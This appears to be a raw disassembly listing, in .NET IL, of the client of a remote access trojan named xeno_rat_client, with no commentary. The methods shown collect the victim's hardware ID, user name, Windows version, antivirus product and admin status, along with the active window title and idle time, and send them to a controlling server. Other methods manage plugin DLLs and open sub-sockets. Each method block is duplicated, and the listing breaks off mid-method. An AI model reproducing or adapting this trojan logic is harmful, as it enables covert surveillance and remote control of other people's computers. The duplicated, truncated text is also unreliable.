00002d3ecall Create
00002d43stfld <>t__builder
00002d48ldloca.s 0
00002d4aldarg.1
00002d4bstfld node
00002d50ldloca.s 0
00002d52ldc.i4.m1
00002d53stfld <>1__state
00002d58ldloca.s 0
00002d5aldflda <>t__builder
00002d5fldloca.s 0
00002d61call 0x2B00000D
00002d66ldloca.s 0
00002d68ldflda <>t__builder
00002d6dcall get_Task
00002d72ret
00002d3c
00002d3cxeno_rat_client.Handler::SendUpdateInfo:
00002d3cldloca.s 0
00002d3ecall Create
00002d43stfld <>t__builder
00002d48ldloca.s 0
00002d4aldarg.1
00002d4bstfld node
00002d50ldloca.s 0
00002d52ldc.i4.m1
00002d53stfld <>1__state
00002d58ldloca.s 0
00002d5aldflda <>t__builder
00002d5fldloca.s 0
00002d61call 0x2B00000D
00002d66ldloca.s 0
00002d68ldflda <>t__builder
00002d6dcall get_Task
00002d72ret
00002d3c
00002d80
00002d80<CreateSubSock>d__3::MoveNext:
00002d80ldarg.0
00002d81ldfld <>1__state
00002d86stloc.0
00002d87ldarg.0
00002d88ldfld <>4__this
00002d8dstloc.1
00002d8eldloc.0
00002d8fldc.i4.2
00002d90pop
00002d91pop
00002d92nop
00002d93ldloc.0
00002d94switch (IL_0084, IL_010a, IL_0176)
00002da5ldarg.0
00002da6ldfld data
00002dabldc.i4.1
00002dacldelem.u1
00002dadstloc.2
00002daeldarg.0
00002dafldfld data
00002db4ldc.i4.2
00002db5ldelem.u1
00002db6stloc.3
00002db7ldloc.1
00002db8ldfld Main
00002dbdldloc.2
00002dbeldloc.3
00002dbfldloc.1
00002dc0ldftn OnDisconnect
00002dc6newobj .ctor
00002dcbcallvirt ConnectSubSockAsync
00002dd0callvirt GetAwaiter
00002dd5stloc.s 5
00002dd7ldloca.s 5
00002dd9call get_IsCompleted
00002ddebrtrue.s IL_00a1
00002de0ldarg.0
00002de1ldc.i4.0
00002de2dup
00002de3stloc.0
00002de4stfld <>1__state
00002de9ldarg.0
00002dealdloc.s 5
00002decstfld <>u__1
00002df1ldarg.0
00002df2ldflda <>t__builder
00002df7ldloca.s 5
00002df9ldarg.0
00002dfacall 0x2B00000E
00002dffleave IL_01fc
00002e04ldarg.0
00002e05ldfld <>u__1
00002e0astloc.s 5
00002e0cldarg.0
00002e0dldflda <>u__1
00002e12initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<class xeno_rat_client.Node>
00002e18ldarg.0
00002e19ldc.i4.m1
00002e1adup
00002e1bstloc.0
00002e1cstfld <>1__state
00002e21ldloca.s 5
00002e23call GetResult
00002e28stloc.s 4
00002e2aldloc.s 4
00002e2cldloc.1
00002e2dldfld Main
00002e32stfld Parent
00002e37ldloc.1
00002e38ldfld Main
00002e3dldloc.s 4
00002e3fcallvirt AddSubNode
00002e44ldloc.s 4
00002e46ldfld SockType
00002e4bldc.i4.1
00002e4cbne.un.s IL_0130
00002e4eldloc.1
00002e4fldloc.s 4
00002e51call Type1Receive
00002e56callvirt GetAwaiter
00002e5bstloc.s 6
00002e5dldloca.s 6
00002e5fcall get_IsCompleted
00002e64brtrue.s IL_0127
00002e66ldarg.0
00002e67ldc.i4.1
00002e68dup
00002e69stloc.0
00002e6astfld <>1__state
00002e6fldarg.0
00002e70ldloc.s 6
00002e72stfld <>u__2
00002e77ldarg.0
00002e78ldflda <>t__builder
00002e7dldloca.s 6
00002e7fldarg.0
00002e80call 0x2B00000F
00002e85leave IL_01fc
00002e8aldarg.0
00002e8bldfld <>u__2
00002e90stloc.s 6
00002e92ldarg.0
00002e93ldflda <>u__2
00002e98initobj System.Runtime.CompilerServices.TaskAwaiter
00002e9eldarg.0
00002e9fldc.i4.m1
00002ea0dup
00002ea1stloc.0
00002ea2stfld <>1__state
00002ea7ldloca.s 6
00002ea9call GetResult
00002eaebr.s IL_01a9
00002eb0ldloc.s 4
00002eb2ldfld SockType
00002eb7ldc.i4.2
00002eb8bne.un.s IL_019c
00002ebaldloc.1
00002ebbldloc.s 4
00002ebdcall Type2Receive
00002ec2callvirt GetAwaiter
00002ec7stloc.s 6
00002ec9ldloca.s 6
00002ecbcall get_IsCompleted
00002ed0brtrue.s IL_0193
00002ed2ldarg.0
00002ed3ldc.i4.2
00002ed4dup
00002ed5stloc.0
00002ed6stfld <>1__state
00002edbldarg.0
00002edcldloc.s 6
00002edestfld <>u__2
00002ee3ldarg.0
00002ee4ldflda <>t__builder
00002ee9ldloca.s 6
00002eebldarg.0
00002eeccall 0x2B00000F
00002ef1leave IL_01fc
00002ef6ldarg.0
00002ef7ldfld <>u__2
00002efcstloc.s 6
00002efeldarg.0
00002effldflda <>u__2
00002f04initobj System.Runtime.CompilerServices.TaskAwaiter
00002f0aldarg.0
00002f0bldc.i4.m1
00002f0cdup
00002f0dstloc.0
00002f0estfld <>1__state
00002f13ldloca.s 6
00002f15call GetResult
00002f1abr.s IL_01a9
00002f1cldloc.s 4
00002f1ebrtrue.s IL_01a2
00002f20leave.s IL_01e9
00002f22ldloc.s 4
00002f24callvirt Disconnect
00002f29leave.s IL_01ce
00002f2bpop
00002f2cldstr "error with subnode, subnode type="
00002f31ldarg.0
00002f32ldfld data
00002f37ldc.i4.1
00002f38ldelema System.Byte
00002f3dcall ToString
00002f42call Concat
00002f47call WriteLine
00002f4cleave.s IL_01ce
00002f4eleave.s IL_01e9
00002f50stloc.s 7
00002f52ldarg.0
00002f53ldc.i4.s -2
00002f55stfld <>1__state
00002f5aldarg.0
00002f5bldflda <>t__builder
00002f60ldloc.s 7
00002f62call SetException
00002f67leave.s IL_01fc
00002f69ldarg.0
00002f6aldc.i4.s -2
00002f6cstfld <>1__state
00002f71ldarg.0
00002f72ldflda <>t__builder
00002f77call SetResult
00002f7cret
00002d80
00002d80<CreateSubSock>d__3::MoveNext:
00002d80ldarg.0
00002d81ldfld <>1__state
00002d86stloc.0
00002d87ldarg.0
00002d88ldfld <>4__this
00002d8dstloc.1
00002d8eldloc.0
00002d8fldc.i4.2
00002d90pop
00002d91pop
00002d92nop
00002d93ldloc.0
00002d94switch (IL_0084, IL_010a, IL_0176)
00002da5ldarg.0
00002da6ldfld data
00002dabldc.i4.1
00002dacldelem.u1
00002dadstloc.2
00002daeldarg.0
00002dafldfld data
00002db4ldc.i4.2
00002db5ldelem.u1
00002db6stloc.3
00002db7ldloc.1
00002db8ldfld Main
00002dbdldloc.2
00002dbeldloc.3
00002dbfldloc.1
00002dc0ldftn OnDisconnect
00002dc6newobj .ctor
00002dcbcallvirt ConnectSubSockAsync
00002dd0callvirt GetAwaiter
00002dd5stloc.s 5
00002dd7ldloca.s 5
00002dd9call get_IsCompleted
00002ddebrtrue.s IL_00a1
00002de0ldarg.0
00002de1ldc.i4.0
00002de2dup
00002de3stloc.0
00002de4stfld <>1__state
00002de9ldarg.0
00002dealdloc.s 5
00002decstfld <>u__1
00002df1ldarg.0
00002df2ldflda <>t__builder
00002df7ldloca.s 5
00002df9ldarg.0
00002dfacall 0x2B00000E
00002dffleave IL_01fc
00002e04ldarg.0
00002e05ldfld <>u__1
00002e0astloc.s 5
00002e0cldarg.0
00002e0dldflda <>u__1
00002e12initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<class xeno_rat_client.Node>
00002e18ldarg.0
00002e19ldc.i4.m1
00002e1adup
00002e1bstloc.0
00002e1cstfld <>1__state
00002e21ldloca.s 5
00002e23call GetResult
00002e28stloc.s 4
00002e2aldloc.s 4
00002e2cldloc.1
00002e2dldfld Main
00002e32stfld Parent
00002e37ldloc.1
00002e38ldfld Main
00002e3dldloc.s 4
00002e3fcallvirt AddSubNode
00002e44ldloc.s 4
00002e46ldfld SockType
00002e4bldc.i4.1
00002e4cbne.un.s IL_0130
00002e4eldloc.1
00002e4fldloc.s 4
00002e51call Type1Receive
00002e56callvirt GetAwaiter
00002e5bstloc.s 6
00002e5dldloca.s 6
00002e5fcall get_IsCompleted
00002e64brtrue.s IL_0127
00002e66ldarg.0
00002e67ldc.i4.1
00002e68dup
00002e69stloc.0
00002e6astfld <>1__state
00002e6fldarg.0
00002e70ldloc.s 6
00002e72stfld <>u__2
00002e77ldarg.0
00002e78ldflda <>t__builder
00002e7dldloca.s 6
00002e7fldarg.0
00002e80call 0x2B00000F
00002e85leave IL_01fc
00002e8aldarg.0
00002e8bldfld <>u__2
00002e90stloc.s 6
00002e92ldarg.0
00002e93ldflda <>u__2
00002e98initobj System.Runtime.CompilerServices.TaskAwaiter
00002e9eldarg.0
00002e9fldc.i4.m1
00002ea0dup
00002ea1stloc.0
00002ea2stfld <>1__state
00002ea7ldloca.s 6
00002ea9call GetResult
00002eaebr.s IL_01a9
00002eb0ldloc.s 4
00002eb2ldfld SockType
00002eb7ldc.i4.2
00002eb8bne.un.s IL_019c
00002ebaldloc.1
00002ebbldloc.s 4
00002ebdcall Type2Receive
00002ec2callvirt GetAwaiter
00002ec7stloc.s 6
00002ec9ldloca.s 6
00002ecbcall get_IsCompleted
00002ed0brtrue.s IL_0193
00002ed2ldarg.0
00002ed3ldc.i4.2
00002ed4dup
00002ed5stloc.0
00002ed6stfld <>1__state
00002edbldarg.0
00002edcldloc.s 6
00002edestfld <>u__2
00002ee3ldarg.0
00002ee4ldflda <>t__builder
00002ee9ldloca.s 6
00002eebldarg.0
00002eeccall 0x2B00000F
00002ef1leave IL_01fc
00002ef6ldarg.0
00002ef7ldfld <>u__2
00002efcstloc.s 6
00002efeldarg.0
00002effldflda <>u__2
00002f04initobj System.Runtime.CompilerServices.TaskAwaiter
00002f0aldarg.0
00002f0bldc.i4.m1
00002f0cdup
00002f0dstloc.0
00002f0estfld <>1__state
00002f13ldloca.s 6
00002f15call GetResult
00002f1abr.s IL_01a9
00002f1cldloc.s 4
00002f1ebrtrue.s IL_01a2
00002f20leave.s IL_01e9
00002f22ldloc.s 4
00002f24callvirt Disconnect
00002f29leave.s IL_01ce
00002f2bpop
00002f2cldstr "error with subnode, subnode type="
00002f31ldarg.0
00002f32ldfld data
00002f37ldc.i4.1
00002f38ldelema System.Byte
00002f3dcall ToString
00002f42call Concat
00002f47call WriteLine
00002f4cleave.s IL_01ce
00002f4eleave.s IL_01e9
00002f50stloc.s 7
00002f52ldarg.0
00002f53ldc.i4.s -2
00002f55stfld <>1__state
00002f5aldarg.0
00002f5bldflda <>t__builder
00002f60ldloc.s 7
00002f62call SetException
00002f67leave.s IL_01fc
00002f69ldarg.0
00002f6aldc.i4.s -2
00002f6cstfld <>1__state
00002f71ldarg.0
00002f72ldflda <>t__builder
00002f77call SetResult
00002f7cret
00002d80
00002fc0
00002fc0<DebugMenu>d__10::MoveNext:
00002fc0ldarg.0
00002fc1ldfld <>1__state
00002fc6stloc.0
00002fc7ldarg.0
00002fc8ldfld <>4__this
00002fcdstloc.1
00002fceldloc.0
00002fcfswitch (IL_00a3, IL_0168, IL_01df)
00002fe0ldarg.0
00002fe1ldfld data
00002fe6ldc.i4.1
00002fe7ldelem.u1
00002fe8stloc.2
00002fe9ldloc.2
00002feaswitch (IL_0040, IL_00cd, IL_018f)
00002ffbbr IL_0204
00003000ldarg.0
00003001ldfld subServer
00003006call get_UTF8
0000300bldstr "\n"
00003010ldloc.1
00003011ldfld dllhandler
00003016ldfld Assemblies
0000301bcallvirt get_Keys
00003020call Join
00003025callvirt GetBytes
0000302acallvirt SendAsync
0000302fcallvirt GetAwaiter
00003034stloc.s 5
00003036ldloca.s 5
00003038call get_IsCompleted
0000303dbrtrue.s IL_00c0
0000303fldarg.0
00003040ldc.i4.0
00003041dup
00003042stloc.0
00003043stfld <>1__state
00003048ldarg.0
00003049ldloc.s 5
0000304bstfld <>u__1
00003050ldarg.0
00003051ldflda <>t__builder
00003056ldloca.s 5
00003058ldarg.0
00003059call 0x2B000010
0000305eleave IL_0232
00003063ldarg.0
00003064ldfld <>u__1
00003069stloc.s 5
0000306bldarg.0
0000306cldflda <>u__1
00003071initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
00003077ldarg.0
00003078ldc.i4.m1
00003079dup
0000307astloc.0
0000307bstfld <>1__state
00003080ldloca.s 5
00003082call GetResult
00003087pop
00003088br IL_0204
0000308dcall get_UTF8
00003092ldarg.0
00003093ldfld data
00003098ldc.i4.2
00003099call 0x2B000011
0000309ecall 0x2B000012
000030a3callvirt GetString
000030a8stloc.3
000030a9ldc.i4.0
000030aastloc.s 4
000030acldloc.1
000030adldfld dllhandler
000030b2ldfld Assemblies
000030b7callvirt get_Keys
000030bcldloc.3
000030bdcall 0x2B000013
000030c2brfalse.s IL_0117
000030c4ldloc.1
000030c5ldfld dllhandler
000030caldfld Assemblies
000030cfldloc.3
000030d0callvirt Remove
000030d5stloc.s 4
000030d7ldarg.0
000030d8ldfld subServer
000030ddldc.i4.1
000030denewarr System.Byte
000030e3dup
000030e4ldc.i4.0
000030e5ldloc.s 4
000030e7brtrue.s IL_012c
000030e9ldc.i4.0
000030eabr.s IL_012d
000030ecldc.i4.1
000030edconv.u1
000030eestelem.i1
000030efcallvirt SendAsync
000030f4callvirt GetAwaiter
000030f9stloc.s 5
000030fbldloca.s 5
000030fdcall get_IsCompleted
00003102brtrue.s IL_0185
00003104ldarg.0
00003105ldc.i4.1
00003106dup
00003107stloc.0
00003108stfld <>1__state
0000310dldarg.0
0000310eldloc.s 5
00003110stfld <>u__1
00003115ldarg.0
00003116ldflda <>t__builder
0000311bldloca.s 5
0000311dldarg.0
0000311ecall 0x2B000010
00003123leave IL_0232
00003128ldarg.0
00003129ldfld <>u__1
0000312estloc.s 5
00003130ldarg.0
00003131ldflda <>u__1
00003136initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
0000313cldarg.0
0000313dldc.i4.m1
0000313edup
0000313fstloc.0
00003140stfld <>1__state
00003145ldloca.s 5
00003147call GetResult
0000314cpop
0000314dbr.s IL_0204
0000314fldarg.0
00003150ldfld subServer
00003155call get_UTF8
0000315aldsfld ProcessLog
0000315fcallvirt ToString
00003164callvirt GetBytes
00003169callvirt SendAsync
0000316ecallvirt GetAwaiter
00003173stloc.s 5
00003175ldloca.s 5
00003177call get_IsCompleted
0000317cbrtrue.s IL_01fc
0000317eldarg.0
0000317fldc.i4.2
00003180dup
00003181stloc.0
00003182stfld <>1__state
00003187ldarg.0
00003188ldloc.s 5
0000318astfld <>u__1
0000318fldarg.0
00003190ldflda <>t__builder
00003195ldloca.s 5
00003197ldarg.0
00003198call 0x2B000010
0000319dleave.s IL_0232
0000319fldarg.0
000031a0ldfld <>u__1
000031a5stloc.s 5
000031a7ldarg.0
000031a8ldflda <>u__1
000031adinitobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
000031b3ldarg.0
000031b4ldc.i4.m1
000031b5dup
000031b6stloc.0
000031b7stfld <>1__state
000031bcldloca.s 5
000031becall GetResult
000031c3pop
000031c4leave.s IL_021f
000031c6stloc.s 6
000031c8ldarg.0
000031c9ldc.i4.s -2
000031cbstfld <>1__state
000031d0ldarg.0
000031d1ldflda <>t__builder
000031d6ldloc.s 6
000031d8call SetException
000031ddleave.s IL_0232
000031dfldarg.0
000031e0ldc.i4.s -2
000031e2stfld <>1__state
000031e7ldarg.0
000031e8ldflda <>t__builder
000031edcall SetResult
000031f2ret
00002fc0
00002fc0<DebugMenu>d__10::MoveNext:
00002fc0ldarg.0
00002fc1ldfld <>1__state
00002fc6stloc.0
00002fc7ldarg.0
00002fc8ldfld <>4__this
00002fcdstloc.1
00002fceldloc.0
00002fcfswitch (IL_00a3, IL_0168, IL_01df)
00002fe0ldarg.0
00002fe1ldfld data
00002fe6ldc.i4.1
00002fe7ldelem.u1
00002fe8stloc.2
00002fe9ldloc.2
00002feaswitch (IL_0040, IL_00cd, IL_018f)
00002ffbbr IL_0204
00003000ldarg.0
00003001ldfld subServer
00003006call get_UTF8
0000300bldstr "\n"
00003010ldloc.1
00003011ldfld dllhandler
00003016ldfld Assemblies
0000301bcallvirt get_Keys
00003020call Join
00003025callvirt GetBytes
0000302acallvirt SendAsync
0000302fcallvirt GetAwaiter
00003034stloc.s 5
00003036ldloca.s 5
00003038call get_IsCompleted
0000303dbrtrue.s IL_00c0
0000303fldarg.0
00003040ldc.i4.0
00003041dup
00003042stloc.0
00003043stfld <>1__state
00003048ldarg.0
00003049ldloc.s 5
0000304bstfld <>u__1
00003050ldarg.0
00003051ldflda <>t__builder
00003056ldloca.s 5
00003058ldarg.0
00003059call 0x2B000010
0000305eleave IL_0232
00003063ldarg.0
00003064ldfld <>u__1
00003069stloc.s 5
0000306bldarg.0
0000306cldflda <>u__1
00003071initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
00003077ldarg.0
00003078ldc.i4.m1
00003079dup
0000307astloc.0
0000307bstfld <>1__state
00003080ldloca.s 5
00003082call GetResult
00003087pop
00003088br IL_0204
0000308dcall get_UTF8
00003092ldarg.0
00003093ldfld data
00003098ldc.i4.2
00003099call 0x2B000011
0000309ecall 0x2B000012
000030a3callvirt GetString
000030a8stloc.3
000030a9ldc.i4.0
000030aastloc.s 4
000030acldloc.1
000030adldfld dllhandler
000030b2ldfld Assemblies
000030b7callvirt get_Keys
000030bcldloc.3
000030bdcall 0x2B000013
000030c2brfalse.s IL_0117
000030c4ldloc.1
000030c5ldfld dllhandler
000030caldfld Assemblies
000030cfldloc.3
000030d0callvirt Remove
000030d5stloc.s 4
000030d7ldarg.0
000030d8ldfld subServer
000030ddldc.i4.1
000030denewarr System.Byte
000030e3dup
000030e4ldc.i4.0
000030e5ldloc.s 4
000030e7brtrue.s IL_012c
000030e9ldc.i4.0
000030eabr.s IL_012d
000030ecldc.i4.1
000030edconv.u1
000030eestelem.i1
000030efcallvirt SendAsync
000030f4callvirt GetAwaiter
000030f9stloc.s 5
000030fbldloca.s 5
000030fdcall get_IsCompleted
00003102brtrue.s IL_0185
00003104ldarg.0
00003105ldc.i4.1
00003106dup
00003107stloc.0
00003108stfld <>1__state
0000310dldarg.0
0000310eldloc.s 5
00003110stfld <>u__1
00003115ldarg.0
00003116ldflda <>t__builder
0000311bldloca.s 5
0000311dldarg.0
0000311ecall 0x2B000010
00003123leave IL_0232
00003128ldarg.0
00003129ldfld <>u__1
0000312estloc.s 5
00003130ldarg.0
00003131ldflda <>u__1
00003136initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
0000313cldarg.0
0000313dldc.i4.m1
0000313edup
0000313fstloc.0
00003140stfld <>1__state
00003145ldloca.s 5
00003147call GetResult
0000314cpop
0000314dbr.s IL_0204
0000314fldarg.0
00003150ldfld subServer
00003155call get_UTF8
0000315aldsfld ProcessLog
0000315fcallvirt ToString
00003164callvirt GetBytes
00003169callvirt SendAsync
0000316ecallvirt GetAwaiter
00003173stloc.s 5
00003175ldloca.s 5
00003177call get_IsCompleted
0000317cbrtrue.s IL_01fc
0000317eldarg.0
0000317fldc.i4.2
00003180dup
00003181stloc.0
00003182stfld <>1__state
00003187ldarg.0
00003188ldloc.s 5
0000318astfld <>u__1
0000318fldarg.0
00003190ldflda <>t__builder
00003195ldloca.s 5
00003197ldarg.0
00003198call 0x2B000010
0000319dleave.s IL_0232
0000319fldarg.0
000031a0ldfld <>u__1
000031a5stloc.s 5
000031a7ldarg.0
000031a8ldflda <>u__1
000031adinitobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
000031b3ldarg.0
000031b4ldc.i4.m1
000031b5dup
000031b6stloc.0
000031b7stfld <>1__state
000031bcldloca.s 5
000031becall GetResult
000031c3pop
000031c4leave.s IL_021f
000031c6stloc.s 6
000031c8ldarg.0
000031c9ldc.i4.s -2
000031cbstfld <>1__state
000031d0ldarg.0
000031d1ldflda <>t__builder
000031d6ldloc.s 6
000031d8call SetException
000031ddleave.s IL_0232
000031dfldarg.0
000031e0ldc.i4.s -2
000031e2stfld <>1__state
000031e7ldarg.0
000031e8ldflda <>t__builder
000031edcall SetResult
000031f2ret
00002fc0
0000321c
0000321c<GetAndSendInfo>d__5::MoveNext:
0000321cldarg.0
0000321dldfld <>1__state
00003222stloc.0
00003223ldloc.0
00003224brfalse IL_00f7
00003229ldarg.0
0000322aldfld Type0
0000322fldfld SockType
00003234brfalse.s IL_001f
00003236leave IL_0137
0000323bldstr "1.8.7"
00003240stloc.1
00003241ldc.i4.7
00003242newarr System.String
00003247dup
00003248ldc.i4.0
00003249call HWID
0000324estelem.ref
0000324fdup
00003250ldc.i4.1
00003251call get_UserName
00003256stelem.ref
00003257dup
00003258ldc.i4.2
00003259call GetCurrent
0000325ecallvirt get_Name
00003263stelem.ref
00003264dup
00003265ldc.i4.3
00003266ldloc.1
00003267stelem.ref
00003268dup
00003269ldc.i4.4
0000326acall GetWindowsVersion
0000326fstelem.ref
00003270dup
00003271ldc.i4.5
00003272call GetAntivirus
00003277stelem.ref
00003278dup
00003279ldc.i4.6
0000327acall IsAdmin
0000327fstloc.s 5
00003281ldloca.s 5
00003283call ToString
00003288stelem.ref
00003289stloc.2
0000328aldc.i4.0
0000328bnewarr System.Byte
00003290stloc.3
00003291ldc.i4.1
00003292newarr System.Byte
00003297stloc.s 4
00003299ldc.i4.0
0000329astloc.s 6
0000329cbr.s IL_00b3
0000329ecall get_UTF8
000032a3ldloc.2
000032a4ldloc.s 6
000032a6ldelem.ref
000032a7callvirt GetBytes
000032acstloc.s 7
000032aeldloc.3
000032afldloc.s 7
000032b1call Concat
000032b6stloc.3
000032b7ldloc.s 6
000032b9ldloc.2
000032baldlen
000032bbconv.i4
000032bcldc.i4.1
000032bdsub
000032bebeq.s IL_00ad
000032c0ldloc.3
000032c1ldloc.s 4
000032c3call Concat
000032c8stloc.3
000032c9ldloc.s 6
000032cbldc.i4.1
000032ccadd
000032cdstloc.s 6
000032cfldloc.s 6
000032d1ldloc.2
000032d2ldlen
000032d3conv.i4
000032d4blt.s IL_0082
000032d6ldarg.0
000032d7ldfld Type0
000032dcldloc.3
000032ddcallvirt SendAsync
000032e2callvirt GetAwaiter
000032e7stloc.s 8
000032e9ldloca.s 8
000032ebcall get_IsCompleted
000032f0brtrue.s IL_0114
000032f2ldarg.0
000032f3ldc.i4.0
000032f4dup
000032f5stloc.0
000032f6stfld <>1__state
000032fbldarg.0
000032fcldloc.s 8
000032festfld <>u__1
00003303ldarg.0
00003304ldflda <>t__builder
00003309ldloca.s 8
0000330bldarg.0
0000330ccall 0x2B000014
00003311leave.s IL_014a
00003313ldarg.0
00003314ldfld <>u__1
00003319stloc.s 8
0000331bldarg.0
0000331cldflda <>u__1
00003321initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
00003327ldarg.0
00003328ldc.i4.m1
00003329dup
0000332astloc.0
0000332bstfld <>1__state
00003330ldloca.s 8
00003332call GetResult
00003337pop
00003338leave.s IL_0137
0000333astloc.s 9
0000333cldarg.0
0000333dldc.i4.s -2
0000333fstfld <>1__state
00003344ldarg.0
00003345ldflda <>t__builder
0000334aldloc.s 9
0000334ccall SetException
00003351leave.s IL_014a
00003353ldarg.0
00003354ldc.i4.s -2
00003356stfld <>1__state
0000335bldarg.0
0000335cldflda <>t__builder
00003361call SetResult
00003366ret
0000321c
0000321c<GetAndSendInfo>d__5::MoveNext:
0000321cldarg.0
0000321dldfld <>1__state
00003222stloc.0
00003223ldloc.0
00003224brfalse IL_00f7
00003229ldarg.0
0000322aldfld Type0
0000322fldfld SockType
00003234brfalse.s IL_001f
00003236leave IL_0137
0000323bldstr "1.8.7"
00003240stloc.1
00003241ldc.i4.7
00003242newarr System.String
00003247dup
00003248ldc.i4.0
00003249call HWID
0000324estelem.ref
0000324fdup
00003250ldc.i4.1
00003251call get_UserName
00003256stelem.ref
00003257dup
00003258ldc.i4.2
00003259call GetCurrent
0000325ecallvirt get_Name
00003263stelem.ref
00003264dup
00003265ldc.i4.3
00003266ldloc.1
00003267stelem.ref
00003268dup
00003269ldc.i4.4
0000326acall GetWindowsVersion
0000326fstelem.ref
00003270dup
00003271ldc.i4.5
00003272call GetAntivirus
00003277stelem.ref
00003278dup
00003279ldc.i4.6
0000327acall IsAdmin
0000327fstloc.s 5
00003281ldloca.s 5
00003283call ToString
00003288stelem.ref
00003289stloc.2
0000328aldc.i4.0
0000328bnewarr System.Byte
00003290stloc.3
00003291ldc.i4.1
00003292newarr System.Byte
00003297stloc.s 4
00003299ldc.i4.0
0000329astloc.s 6
0000329cbr.s IL_00b3
0000329ecall get_UTF8
000032a3ldloc.2
000032a4ldloc.s 6
000032a6ldelem.ref
000032a7callvirt GetBytes
000032acstloc.s 7
000032aeldloc.3
000032afldloc.s 7
000032b1call Concat
000032b6stloc.3
000032b7ldloc.s 6
000032b9ldloc.2
000032baldlen
000032bbconv.i4
000032bcldc.i4.1
000032bdsub
000032bebeq.s IL_00ad
000032c0ldloc.3
000032c1ldloc.s 4
000032c3call Concat
000032c8stloc.3
000032c9ldloc.s 6
000032cbldc.i4.1
000032ccadd
000032cdstloc.s 6
000032cfldloc.s 6
000032d1ldloc.2
000032d2ldlen
000032d3conv.i4
000032d4blt.s IL_0082
000032d6ldarg.0
000032d7ldfld Type0
000032dcldloc.3
000032ddcallvirt SendAsync
000032e2callvirt GetAwaiter
000032e7stloc.s 8
000032e9ldloca.s 8
000032ebcall get_IsCompleted
000032f0brtrue.s IL_0114
000032f2ldarg.0
000032f3ldc.i4.0
000032f4dup
000032f5stloc.0
000032f6stfld <>1__state
000032fbldarg.0
000032fcldloc.s 8
000032festfld <>u__1
00003303ldarg.0
00003304ldflda <>t__builder
00003309ldloca.s 8
0000330bldarg.0
0000330ccall 0x2B000014
00003311leave.s IL_014a
00003313ldarg.0
00003314ldfld <>u__1
00003319stloc.s 8
0000331bldarg.0
0000331cldflda <>u__1
00003321initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
00003327ldarg.0
00003328ldc.i4.m1
00003329dup
0000332astloc.0
0000332bstfld <>1__state
00003330ldloca.s 8
00003332call GetResult
00003337pop
00003338leave.s IL_0137
0000333astloc.s 9
0000333cldarg.0
0000333dldc.i4.s -2
0000333fstfld <>1__state
00003344ldarg.0
00003345ldflda <>t__builder
0000334aldloc.s 9
0000334ccall SetException
00003351leave.s IL_014a
00003353ldarg.0
00003354ldc.i4.s -2
00003356stfld <>1__state
0000335bldarg.0
0000335cldflda <>t__builder
00003361call SetResult
00003366ret
0000321c
00003390
00003390<SendUpdateInfo>d__11::MoveNext:
00003390ldarg.0
00003391ldfld <>1__state
00003396stloc.0
00003397ldloc.0
00003398switch (IL_0052, IL_00b9, IL_0148)
000033a9call GetCaptionOfActiveWindowAsync
000033aecallvirt GetAwaiter
000033b3stloc.s 5
000033b5ldloca.s 5
000033b7call get_IsCompleted
000033bcbrtrue.s IL_006f
000033beldarg.0
000033bfldc.i4.0
000033c0dup
000033c1stloc.0
000033c2stfld <>1__state
000033c7ldarg.0
000033c8ldloc.s 5
000033castfld <>u__1
000033cfldarg.0
000033d0ldflda <>t__builder
000033d5ldloca.s 5
000033d7ldarg.0
000033d8call 0x2B000015
000033ddleave IL_01a9
000033e2ldarg.0
000033e3ldfld <>u__1
000033e8stloc.s 5
000033ealdarg.0
000033ebldflda <>u__1
000033f0initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<string>
000033f6ldarg.0
000033f7ldc.i4.m1
000033f8dup
000033f9stloc.0
000033fastfld <>1__state
000033ffldloca.s 5
00003401call GetResult
00003406stloc.s 4
00003408ldarg.0
00003409ldloc.s 4
0000340bstfld <currwin>5__2
00003410call GetIdleTimeAsync
00003415callvirt GetAwaiter
0000341astloc.s 6
0000341cldloca.s 6
0000341ecall get_IsCompleted
00003423brtrue.s IL_00d6
00003425ldarg.0
00003426ldc.i4.1
00003427dup
00003428stloc.0
00003429stfld <>1__state
0000342eldarg.0
0000342fldloc.s 6
00003431stfld <>u__2
00003436ldarg.0
00003437ldflda <>t__builder
0000343cldloca.s 6
0000343eldarg.0
0000343fcall 0x2B000016
00003444leave IL_01a9
00003449ldarg.0
0000344aldfld <>u__2
0000344fstloc.s 6
00003451ldarg.0
00003452ldflda <>u__2
00003457initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<uint32>
0000345dldarg.0
0000345eldc.i4.m1
0000345fdup
00003460stloc.0
00003461stfld <>1__state
00003466ldloca.s 6
00003468call GetResult
0000346dldc.i4 1000
00003472div.un
00003473stloc.s 7
00003475ldloca.s 7
00003477call ToString
0000347cstloc.1
0000347dldarg.0
0000347eldfld <currwin>5__2
00003483ldstr "\n"
00003488ldloc.1
00003489call Concat
0000348estloc.2
0000348fcall get_UTF8
00003494ldloc.2
00003495callvirt GetBytes
0000349astloc.3
0000349bldarg.0
0000349cldfld node
000034a1ldloc.3
000034a2callvirt SendAsync
000034a7callvirt GetAwaiter
000034acstloc.s 8
000034aeldloca.s 8
000034b0call get_IsCompleted
000034b5brtrue.s IL_0165
000034b7ldarg.0
000034b8ldc.i4.2
000034b9dup
000034bastloc.0
000034bbstfld <>1__state
000034c0ldarg.0
000034c1ldloc.s 8
000034c3stfld <>u__3
000034c8ldarg.0
000034c9ldflda <>t__builder
000034celdloca.s 8
000034d0ldarg.0
000034d1call 0x2B000017
000034d6leave.s IL_01a9
000034d8ldarg.0
000034d9ldfld <>u__3
000034destloc.s 8
000034e0ldarg.0
000034e1ldflda <>u__3
000034e6initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
000034ecldarg.0
000034edldc.i4.m1
000034eedup
000034efstloc.0
000034f0stfld <>1__state
000034f5ldloca.s 8
000034f7call GetResult
000034fcpop
000034fdleave.s IL_018f
000034ffstloc.s 9
00003501ldarg.0
00003502ldc.i4.s -2
00003504stfld <>1__state
00003509ldarg.0
0000350aldnull
0000350bstfld <currwin>5__2
00003510ldarg.0
00003511ldflda <>t__builder
